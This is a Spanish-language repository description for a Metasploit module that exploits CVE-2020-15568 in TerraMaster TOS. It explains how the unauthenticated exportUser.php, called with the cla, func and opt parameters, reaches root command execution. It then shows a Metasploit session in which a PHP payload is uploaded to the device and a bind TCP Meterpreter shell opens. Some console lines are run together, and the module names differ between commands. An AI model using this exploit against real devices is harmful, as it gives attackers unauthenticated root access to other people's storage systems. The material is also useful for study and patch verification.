
Repositorio para el módulo Metasploit CVE-2020-15568
Repositorio para el módulo de Metasploit CVE-2020-15568
Existe una vulnerabilidad de invocación dinámica de métodos de clase en el archivo include/exportUser.php que permite ejecutar comandos remotos en dispositivos TerraMaster con privilegios de root. El archivo vulnerable requiere que se proporcionen varios parámetros HTTP GET para poder alcanzar la llamada al método y explotar esta vulnerabilidad. En la primera línea, la aplicación incluye app.php que carga automáticamente las clases principales relevantes del software TOS. La aplicación decide la operación basándose en el valor del parámetro GET type. Si el valor de la variable type es diferente de 1 o 2, entonces es posible alcanzar el código vulnerable. El código fuente de exportUser.php requiere los parámetros HTTP GET cla (abreviatura de class), func y opt.
Durante la revisión de código de otros archivos también, se ha encontrado que hay una manera de explotar este problema con clases preexistentes en el software TOS. La clase PHP ubicada en include/class/application.class.php es la mejor candidata para ejecutar comandos en dispositivos que ejecutan el software TOS. Dado que exportUser.php no tiene controles de autenticación, es posible que un atacante no autenticado alcance la ejecución de código
use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - The target is vulnerable.
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >